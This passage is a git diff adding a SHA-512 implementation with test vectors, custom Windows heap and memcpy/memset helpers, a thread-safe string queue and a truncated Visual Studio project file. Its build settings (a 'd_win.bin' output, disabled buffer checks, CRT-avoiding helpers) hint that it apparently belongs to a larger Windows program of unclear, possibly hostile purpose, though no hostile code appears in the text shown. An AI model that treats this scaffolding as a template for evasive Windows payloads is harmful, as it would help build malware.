#define smallsigma0(r,t,x) ( rorL(r,x,1), rorL(t,x,8), xor(r,r,t), \
|
||||
shrL(t,x,7), xor(r,r,t) )
|
||||
#define smallsigma1(r,t,x) ( rorL(r,x,19), rorB(t,x,61), xor(r,r,t), \
|
||||
shrL(t,x,6), xor(r,r,t) )
|
||||
|
||||
#define PUT_32BIT_MSB_FIRST(cp, value) ( \
|
||||
(cp)[0] = (unsigned char)((value) >> 24), \
|
||||
(cp)[1] = (unsigned char)((value) >> 16), \
|
||||
(cp)[2] = (unsigned char)((value) >> 8), \
|
||||
(cp)[3] = (unsigned char)(value))
|
||||
|
||||
static void SHA512_Core_Init(SHA512_State *s) {
|
||||
static const uint64 iv[] = {
|
||||
INIT(0x6a09e667, 0xf3bcc908),
|
||||
INIT(0xbb67ae85, 0x84caa73b),
|
||||
INIT(0x3c6ef372, 0xfe94f82b),
|
||||
INIT(0xa54ff53a, 0x5f1d36f1),
|
||||
INIT(0x510e527f, 0xade682d1),
|
||||
INIT(0x9b05688c, 0x2b3e6c1f),
|
||||
INIT(0x1f83d9ab, 0xfb41bd6b),
|
||||
INIT(0x5be0cd19, 0x137e2179),
|
||||
};
|
||||
int i;
|
||||
for (i = 0; i < 8; i++)
|
||||
s->h[i] = iv[i];
|
||||
}
|
||||
|
||||
static void SHA512_Block(SHA512_State *s, uint64 *block) {
|
||||
uint64 w[80];
|
||||
uint64 a,b,c,d,e,f,g,h;
|
||||
static const uint64 k[] = {
|
||||
INIT(0x428a2f98, 0xd728ae22), INIT(0x71374491, 0x23ef65cd),
|
||||
INIT(0xb5c0fbcf, 0xec4d3b2f), INIT(0xe9b5dba5, 0x8189dbbc),
|
||||
INIT(0x3956c25b, 0xf348b538), INIT(0x59f111f1, 0xb605d019),
|
||||
INIT(0x923f82a4, 0xaf194f9b), INIT(0xab1c5ed5, 0xda6d8118),
|
||||
INIT(0xd807aa98, 0xa3030242), INIT(0x12835b01, 0x45706fbe),
|
||||
INIT(0x243185be, 0x4ee4b28c), INIT(0x550c7dc3, 0xd5ffb4e2),
|
||||
INIT(0x72be5d74, 0xf27b896f), INIT(0x80deb1fe, 0x3b1696b1),
|
||||
INIT(0x9bdc06a7, 0x25c71235), INIT(0xc19bf174, 0xcf692694),
|
||||
INIT(0xe49b69c1, 0x9ef14ad2), INIT(0xefbe4786, 0x384f25e3),
|
||||
INIT(0x0fc19dc6, 0x8b8cd5b5), INIT(0x240ca1cc, 0x77ac9c65),
|
||||
INIT(0x2de92c6f, 0x592b0275), INIT(0x4a7484aa, 0x6ea6e483),
|
||||
INIT(0x5cb0a9dc, 0xbd41fbd4), INIT(0x76f988da, 0x831153b5),
|
||||
INIT(0x983e5152, 0xee66dfab), INIT(0xa831c66d, 0x2db43210),
|
||||
INIT(0xb00327c8, 0x98fb213f), INIT(0xbf597fc7, 0xbeef0ee4),
|
||||
INIT(0xc6e00bf3, 0x3da88fc2), INIT(0xd5a79147, 0x930aa725),
|
||||
INIT(0x06ca6351, 0xe003826f), INIT(0x14292967, 0x0a0e6e70),
|
||||
INIT(0x27b70a85, 0x46d22ffc), INIT(0x2e1b2138, 0x5c26c926),
|
||||
INIT(0x4d2c6dfc, 0x5ac42aed), INIT(0x53380d13, 0x9d95b3df),
|
||||
INIT(0x650a7354, 0x8baf63de), INIT(0x766a0abb, 0x3c77b2a8),
|
||||
INIT(0x81c2c92e, 0x47edaee6), INIT(0x92722c85, 0x1482353b),
|
||||
INIT(0xa2bfe8a1, 0x4cf10364), INIT(0xa81a664b, 0xbc423001),
|
||||
INIT(0xc24b8b70, 0xd0f89791), INIT(0xc76c51a3, 0x0654be30),
|
||||
INIT(0xd192e819, 0xd6ef5218), INIT(0xd6990624, 0x5565a910),
|
||||
INIT(0xf40e3585, 0x5771202a), INIT(0x106aa070, 0x32bbd1b8),
|
||||
INIT(0x19a4c116, 0xb8d2d0c8), INIT(0x1e376c08, 0x5141ab53),
|
||||
INIT(0x2748774c, 0xdf8eeb99), INIT(0x34b0bcb5, 0xe19b48a8),
|
||||
INIT(0x391c0cb3, 0xc5c95a63), INIT(0x4ed8aa4a, 0xe3418acb),
|
||||
INIT(0x5b9cca4f, 0x7763e373), INIT(0x682e6ff3, 0xd6b2b8a3),
|
||||
INIT(0x748f82ee, 0x5defb2fc), INIT(0x78a5636f, 0x43172f60),
|
||||
INIT(0x84c87814, 0xa1f0ab72), INIT(0x8cc70208, 0x1a6439ec),
|
||||
INIT(0x90befffa, 0x23631e28), INIT(0xa4506ceb, 0xde82bde9),
|
||||
INIT(0xbef9a3f7, 0xb2c67915), INIT(0xc67178f2, 0xe372532b),
|
||||
INIT(0xca273ece, 0xea26619c), INIT(0xd186b8c7, 0x21c0c207),
|
||||
INIT(0xeada7dd6, 0xcde0eb1e), INIT(0xf57d4f7f, 0xee6ed178),
|
||||
INIT(0x06f067aa, 0x72176fba), INIT(0x0a637dc5, 0xa2c898a6),
|
||||
INIT(0x113f9804, 0xbef90dae), INIT(0x1b710b35, 0x131c471b),
|
||||
INIT(0x28db77f5, 0x23047d84), INIT(0x32caab7b, 0x40c72493),
|
||||
INIT(0x3c9ebe0a, 0x15c9bebc), INIT(0x431d67c4, 0x9c100d4c),
|
||||
INIT(0x4cc5d4be, 0xcb3e42b6), INIT(0x597f299c, 0xfc657e2a),
|
||||
INIT(0x5fcb6fab, 0x3ad6faec), INIT(0x6c44198c, 0x4a475817),
|
||||
};
|
||||
|
||||
int t;
|
||||
|
||||
for (t = 0; t < 16; t++)
|
||||
w[t] = block[t];
|
||||
|
||||
for (t = 16; t < 80; t++) {
|
||||
uint64 p, q, r, tmp;
|
||||
smallsigma1(p, tmp, w[t-2]);
|
||||
smallsigma0(q, tmp, w[t-15]);
|
||||
add(r, p, q);
|
||||
add(p, r, w[t-7]);
|
||||
add(w[t], p, w[t-16]);
|
||||
}
|
||||
|
||||
a = s->h[0]; b = s->h[1]; c = s->h[2]; d = s->h[3];
|
||||
e = s->h[4]; f = s->h[5]; g = s->h[6]; h = s->h[7];
|
||||
|
||||
for (t = 0; t < 80; t+=8) {
|
||||
uint64 tmp, p, q, r;
|
||||
|
||||
#define ROUND(j,a,b,c,d,e,f,g,h) \
|
||||
bigsigma1(p, tmp, e); \
|
||||
Ch(q, tmp, e, f, g); \
|
||||
add(r, p, q); \
|
||||
add(p, r, k[j]) ; \
|
||||
add(q, p, w[j]); \
|
||||
add(r, q, h); \
|
||||
bigsigma0(p, tmp, a); \
|
||||
Maj(tmp, q, a, b, c); \
|
||||
add(q, tmp, p); \
|
||||
add(p, r, d); \
|
||||
d = p; \
|
||||
add(h, q, r);
|
||||
|
||||
ROUND(t+0, a,b,c,d,e,f,g,h);
|
||||
ROUND(t+1, h,a,b,c,d,e,f,g);
|
||||
ROUND(t+2, g,h,a,b,c,d,e,f);
|
||||
ROUND(t+3, f,g,h,a,b,c,d,e);
|
||||
ROUND(t+4, e,f,g,h,a,b,c,d);
|
||||
ROUND(t+5, d,e,f,g,h,a,b,c);
|
||||
ROUND(t+6, c,d,e,f,g,h,a,b);
|
||||
ROUND(t+7, b,c,d,e,f,g,h,a);
|
||||
}
|
||||
|
||||
{
|
||||
uint64 tmp;
|
||||
#define UPDATE(state, local) ( tmp = state, add(state, tmp, local) )
|
||||
UPDATE(s->h[0], a); UPDATE(s->h[1], b);
|
||||
UPDATE(s->h[2], c); UPDATE(s->h[3], d);
|
||||
UPDATE(s->h[4], e); UPDATE(s->h[5], f);
|
||||
UPDATE(s->h[6], g); UPDATE(s->h[7], h);
|
||||
}
|
||||
}
|
||||
|
||||
/* ----------------------------------------------------------------------
|
||||
* Outer SHA512 algorithm: take an arbitrary length byte string,
|
||||
* convert it into 16-doubleword blocks with the prescribed padding
|
||||
* at the end, and pass those blocks to the core SHA512 algorithm.
|
||||
*/
|
||||
|
||||
void SHA512_Init(SHA512_State *s) {
|
||||
int i;
|
||||
SHA512_Core_Init(s);
|
||||
s->blkused = 0;
|
||||
for (i = 0; i < 4; i++)
|
||||
s->len[i] = 0;
|
||||
}
|
||||
|
||||
void SHA512_Bytes(SHA512_State *s, const void *p, int len) {
|
||||
unsigned char *q = (unsigned char *)p;
|
||||
uint64 wordblock[16];
|
||||
uint32 lenw = len;
|
||||
int i;
|
||||
|
||||
/*
|
||||
* Update the length field.
|
||||
*/
|
||||
for (i = 0; i < 4; i++) {
|
||||
s->len[i] += lenw;
|
||||
lenw = (s->len[i] < lenw);
|
||||
}
|
||||
|
||||
if (s->blkused && s->blkused+len < BLKSIZE) {
|
||||
/*
|
||||
* Trivial case: just add to the block.
|
||||
*/
|
||||
_memcpy(s->block + s->blkused, q, len);
|
||||
s->blkused += len;
|
||||
} else {
|
||||
/*
|
||||
* We must complete and process at least one block.
|
||||
*/
|
||||
while (s->blkused + len >= BLKSIZE) {
|
||||
_memcpy(s->block + s->blkused, q, BLKSIZE - s->blkused);
|
||||
q += BLKSIZE - s->blkused;
|
||||
len -= BLKSIZE - s->blkused;
|
||||
/* Now process the block. Gather bytes big-endian into words */
|
||||
for (i = 0; i < 16; i++) {
|
||||
uint32 h, l;
|
||||
h = ( ((uint32)s->block[i*8+0]) << 24 ) |
|
||||
( ((uint32)s->block[i*8+1]) << 16 ) |
|
||||
( ((uint32)s->block[i*8+2]) << 8 ) |
|
||||
( ((uint32)s->block[i*8+3]) << 0 );
|
||||
l = ( ((uint32)s->block[i*8+4]) << 24 ) |
|
||||
( ((uint32)s->block[i*8+5]) << 16 ) |
|
||||
( ((uint32)s->block[i*8+6]) << 8 ) |
|
||||
( ((uint32)s->block[i*8+7]) << 0 );
|
||||
BUILD(wordblock[i], h, l);
|
||||
}
|
||||
SHA512_Block(s, wordblock);
|
||||
s->blkused = 0;
|
||||
}
|
||||
_memcpy(s->block, q, len);
|
||||
s->blkused = len;
|
||||
}
|
||||
}
|
||||
|
||||
void SHA512_Final(SHA512_State *s, unsigned char *digest) {
|
||||
int i;
|
||||
int pad;
|
||||
unsigned char c[BLKSIZE];
|
||||
uint32 len[4];
|
||||
|
||||
if (s->blkused >= BLKSIZE-16)
|
||||
pad = (BLKSIZE-16) + BLKSIZE - s->blkused;
|
||||
else
|
||||
pad = (BLKSIZE-16) - s->blkused;
|
||||
|
||||
for (i = 4; i-- ;) {
|
||||
uint32 lenhi = s->len[i];
|
||||
uint32 lenlo = i > 0 ? s->len[i-1] : 0;
|
||||
len[i] = (lenhi << 3) | (lenlo >> (32-3));
|
||||
}
|
||||
|
||||
_memset(c, 0, pad);
|
||||
c[0] = 0x80;
|
||||
SHA512_Bytes(s, &c, pad);
|
||||
|
||||
for (i = 0; i < 4; i++) {
|
||||
c[i*4+0] = (len[3-i] >> 24) & 0xFF;
|
||||
c[i*4+1] = (len[3-i] >> 16) & 0xFF;
|
||||
c[i*4+2] = (len[3-i] >> 8) & 0xFF;
|
||||
c[i*4+3] = (len[3-i] >> 0) & 0xFF;
|
||||
}
|
||||
|
||||
SHA512_Bytes(s, &c, 16);
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
uint32 h, l;
|
||||
EXTRACT(h, l, s->h[i]);
|
||||
digest[i*8+0] = (h >> 24) & 0xFF;
|
||||
digest[i*8+1] = (h >> 16) & 0xFF;
|
||||
digest[i*8+2] = (h >> 8) & 0xFF;
|
||||
digest[i*8+3] = (h >> 0) & 0xFF;
|
||||
digest[i*8+4] = (l >> 24) & 0xFF;
|
||||
digest[i*8+5] = (l >> 16) & 0xFF;
|
||||
digest[i*8+6] = (l >> 8) & 0xFF;
|
||||
digest[i*8+7] = (l >> 0) & 0xFF;
|
||||
}
|
||||
}
|
||||
|
||||
void SHA512_Simple(const void *p, int len, unsigned char *output) {
|
||||
SHA512_State s;
|
||||
|
||||
SHA512_Init(&s);
|
||||
SHA512_Bytes(&s, p, len);
|
||||
SHA512_Final(&s, output);
|
||||
}
|
||||
|
||||
#ifdef TEST
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <assert.h>
|
||||
|
||||
int main(void) {
|
||||
unsigned char digest[64];
|
||||
int i, j, errors;
|
||||
|
||||
struct {
|
||||
const char *teststring;
|
||||
unsigned char digest512[64];
|
||||
} tests[] = {
|
||||
{ "abc", {
|
||||
0xdd, 0xaf, 0x35, 0xa1, 0x93, 0x61, 0x7a, 0xba,
|
||||
0xcc, 0x41, 0x73, 0x49, 0xae, 0x20, 0x41, 0x31,
|
||||
0x12, 0xe6, 0xfa, 0x4e, 0x89, 0xa9, 0x7e, 0xa2,
|
||||
0x0a, 0x9e, 0xee, 0xe6, 0x4b, 0x55, 0xd3, 0x9a,
|
||||
0x21, 0x92, 0x99, 0x2a, 0x27, 0x4f, 0xc1, 0xa8,
|
||||
0x36, 0xba, 0x3c, 0x23, 0xa3, 0xfe, 0xeb, 0xbd,
|
||||
0x45, 0x4d, 0x44, 0x23, 0x64, 0x3c, 0xe8, 0x0e,
|
||||
0x2a, 0x9a, 0xc9, 0x4f, 0xa5, 0x4c, 0xa4, 0x9f,
|
||||
} },
|
||||
{ "abcdefghbcdefghicdefghijdefghijkefghijklfghijklmghijklmn"
|
||||
"hijklmnoijklmnopjklmnopqklmnopqrlmnopqrsmnopqrstnopqrstu", {
|
||||
0x8e, 0x95, 0x9b, 0x75, 0xda, 0xe3, 0x13, 0xda,
|
||||
0x8c, 0xf4, 0xf7, 0x28, 0x14, 0xfc, 0x14, 0x3f,
|
||||
0x8f, 0x77, 0x79, 0xc6, 0xeb, 0x9f, 0x7f, 0xa1,
|
||||
0x72, 0x99, 0xae, 0xad, 0xb6, 0x88, 0x90, 0x18,
|
||||
0x50, 0x1d, 0x28, 0x9e, 0x49, 0x00, 0xf7, 0xe4,
|
||||
0x33, 0x1b, 0x99, 0xde, 0xc4, 0xb5, 0x43, 0x3a,
|
||||
0xc7, 0xd3, 0x29, 0xee, 0xb6, 0xdd, 0x26, 0x54,
|
||||
0x5e, 0x96, 0xe5, 0x5b, 0x87, 0x4b, 0xe9, 0x09,
|
||||
} },
|
||||
{ NULL, {
|
||||
0xe7, 0x18, 0x48, 0x3d, 0x0c, 0xe7, 0x69, 0x64,
|
||||
0x4e, 0x2e, 0x42, 0xc7, 0xbc, 0x15, 0xb4, 0x63,
|
||||
0x8e, 0x1f, 0x98, 0xb1, 0x3b, 0x20, 0x44, 0x28,
|
||||
0x56, 0x32, 0xa8, 0x03, 0xaf, 0xa9, 0x73, 0xeb,
|
||||
0xde, 0x0f, 0xf2, 0x44, 0x87, 0x7e, 0xa6, 0x0a,
|
||||
0x4c, 0xb0, 0x43, 0x2c, 0xe5, 0x77, 0xc3, 0x1b,
|
||||
0xeb, 0x00, 0x9c, 0x5c, 0x2c, 0x49, 0xaa, 0x2e,
|
||||
0x4e, 0xad, 0xb2, 0x17, 0xad, 0x8c, 0xc0, 0x9b,
|
||||
} },
|
||||
};
|
||||
|
||||
errors = 0;
|
||||
|
||||
for (i = 0; i < sizeof(tests) / sizeof(*tests); i++) {
|
||||
if (tests[i].teststring) {
|
||||
SHA512_Simple(tests[i].teststring,
|
||||
strlen(tests[i].teststring), digest);
|
||||
} else {
|
||||
SHA512_State s;
|
||||
int n;
|
||||
SHA512_Init(&s);
|
||||
for (n = 0; n < 1000000 / 40; n++)
|
||||
SHA512_Bytes(&s, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
40);
|
||||
SHA512_Final(&s, digest);
|
||||
}
|
||||
for (j = 0; j < 64; j++) {
|
||||
if (digest[j] != tests[i].digest512[j]) {
|
||||
fprintf(stderr,
|
||||
"\"%s\" digest512 byte %d should be 0x%02x, is 0x%02x\n",
|
||||
tests[i].teststring, j, tests[i].digest512[j],
|
||||
digest[j]);
|
||||
errors++;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
printf("%d errors\n", errors);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
|
@ -0,0 +1,23 @@
|
|||
#ifndef _CIPHER_SHA512_H
|
||||
#define _CIPHER_SHA512_H
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif /* __cplusplus */
|
||||
typedef struct {
|
||||
unsigned long hi, lo;
|
||||
} uint64;
|
||||
typedef unsigned int uint32;
|
||||
typedef struct {
|
||||
uint64 h[8];
|
||||
unsigned char block[128];
|
||||
int blkused;
|
||||
uint32 len[4];
|
||||
} SHA512_State;
|
||||
void SHA512_Init(SHA512_State * s);
|
||||
void SHA512_Bytes(SHA512_State * s, const void *p, int len);
|
||||
void SHA512_Final(SHA512_State * s, unsigned char *output);
|
||||
void SHA512_Simple(const void *p, int len, unsigned char *output);
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif /* __cplusplus */
|
||||
#endif /* _CIPHER_SHA512_H */
|
|
@ -0,0 +1,30 @@
|
|||
#include "Memory.h"
|
||||
|
||||
static HANDLE proc_heap = 0;
|
||||
|
||||
void _hfree(void* mem) {
|
||||
HeapFree(proc_heap, 0, mem);
|
||||
}
|
||||
|
||||
void _memset(void* dst, BYTE val, SIZE_T count) {
|
||||
for (volatile int i = 0; i < count; i++) {//volatile óáèðàåò îïòèìèçàöèþ ñ ïîäñòàâëåíèåì åáó÷èõ memcpy, memset
|
||||
((BYTE*)dst)[i] = val;
|
||||
}
|
||||
}
|
||||
|
||||
void _memcpy(void* dst, const void* src, SIZE_T count) {
|
||||
for (volatile int i = 0; i < count; i++) {//volatile óáèðàåò îïòèìèçàöèþ ñ ïîäñòàâëåíèåì åáó÷èõ memcpy, memset
|
||||
((BYTE*)dst)[i] = ((BYTE*)src)[i];
|
||||
}
|
||||
}
|
||||
|
||||
void _mem_initialize() {
|
||||
proc_heap = GetProcessHeap();
|
||||
}
|
||||
|
||||
void* _halloc(SIZE_T count) {
|
||||
retry:;
|
||||
LPVOID ret = HeapAlloc(proc_heap, HEAP_ZERO_MEMORY, count + 64);
|
||||
if (ret == 0) goto retry;
|
||||
return ret;
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
#ifndef __MEMORY_H
|
||||
#define __MEMORY_H
|
||||
#include <windows.h>
|
||||
|
||||
void _mem_initialize();
|
||||
|
||||
void _memset(void* mem, BYTE val, SIZE_T count);
|
||||
void _memcpy(void* dst, const void* src, SIZE_T count);
|
||||
|
||||
void* _halloc(SIZE_T count);
|
||||
void _hfree(void* mem);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,55 @@
|
|||
#include <windows.h>
|
||||
|
||||
#include "memory.h"
|
||||
#include "queue.h"
|
||||
|
||||
void _que_initialize(QUEUE* queue, INT size) {
|
||||
queue->queue_size = size;
|
||||
queue->buffer = (WCHAR**)_halloc(size * sizeof(WCHAR*));
|
||||
queue->space_avail = CreateSemaphoreA(NULL, size, size, NULL);
|
||||
queue->data_avail = CreateSemaphoreA(NULL, 0, size, NULL);
|
||||
queue->in_pos = 0;
|
||||
queue->out_pos = 0;
|
||||
InitializeCriticalSection(&(queue->mutex));
|
||||
}
|
||||
|
||||
int _que_push(QUEUE* queue, LPWSTR data, int wait) {
|
||||
if (WaitForSingleObject(queue->space_avail, 0) != WAIT_OBJECT_0) {
|
||||
if (wait) WaitForSingleObject(queue->space_avail, INFINITE);
|
||||
else return 0;
|
||||
}
|
||||
|
||||
EnterCriticalSection(&(queue->mutex));
|
||||
WCHAR* realloced_str = 0;
|
||||
if (data)
|
||||
{
|
||||
int memSize = sizeof(WCHAR) * (lstrlenW(data) + 1);
|
||||
realloced_str = (WCHAR*)_halloc(memSize);
|
||||
_memcpy(realloced_str, data, memSize);
|
||||
}
|
||||
queue->buffer[queue->in_pos] = realloced_str;
|
||||
queue->in_pos = (queue->in_pos + 1) % queue->queue_size;
|
||||
LeaveCriticalSection(&queue->mutex);
|
||||
ReleaseSemaphore(queue->data_avail, 1, NULL);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
LPWSTR _que_pop(QUEUE* queue, int wait, int* dwError) {
|
||||
*dwError = 0;
|
||||
|
||||
if (WaitForSingleObject(queue->data_avail, 0) != WAIT_OBJECT_0) {
|
||||
if (wait) WaitForSingleObject(queue->data_avail, INFINITE);
|
||||
else {
|
||||
*dwError = QUEUE_ERR_TIMEOUT;
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
EnterCriticalSection(&queue->mutex);
|
||||
LPWSTR retval = queue->buffer[queue->out_pos];
|
||||
queue->out_pos = (queue->out_pos + 1) % queue->queue_size;
|
||||
LeaveCriticalSection(&queue->mutex);
|
||||
ReleaseSemaphore(queue->space_avail, 1, NULL);
|
||||
return retval;
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
#ifndef QUEUE_H_INCLUDED
|
||||
#define QUEUE_H_INCLUDED
|
||||
|
||||
#define QUEUE_ERR_TIMEOUT -1
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
struct QUEUE {
|
||||
HANDLE space_avail;
|
||||
HANDLE data_avail;
|
||||
CRITICAL_SECTION mutex;
|
||||
INT queue_size = 0;
|
||||
LPWSTR* buffer = 0;
|
||||
long in_pos = 0;
|
||||
long out_pos = 0;
|
||||
};
|
||||
|
||||
void _que_initialize(QUEUE* queue, INT size);
|
||||
|
||||
LPWSTR _que_pop(QUEUE* queue, int wait, int* dwError);
|
||||
int _que_push(QUEUE* queue, LPWSTR data, int wait);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,178 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{D6FB88D9-0088-4805-BE51-17C480843B68}</ProjectGuid>
|
||||
<RootNamespace>VASA</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>d</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<TargetExt>_win.bin</TargetExt>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateWindowsMetadata>false</GenerateWindowsMetadata>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<ImageHasSafeExceptionHandlers>true</ImageHasSafeExceptionHandlers>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<OutputFile>$(OutDir)d$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
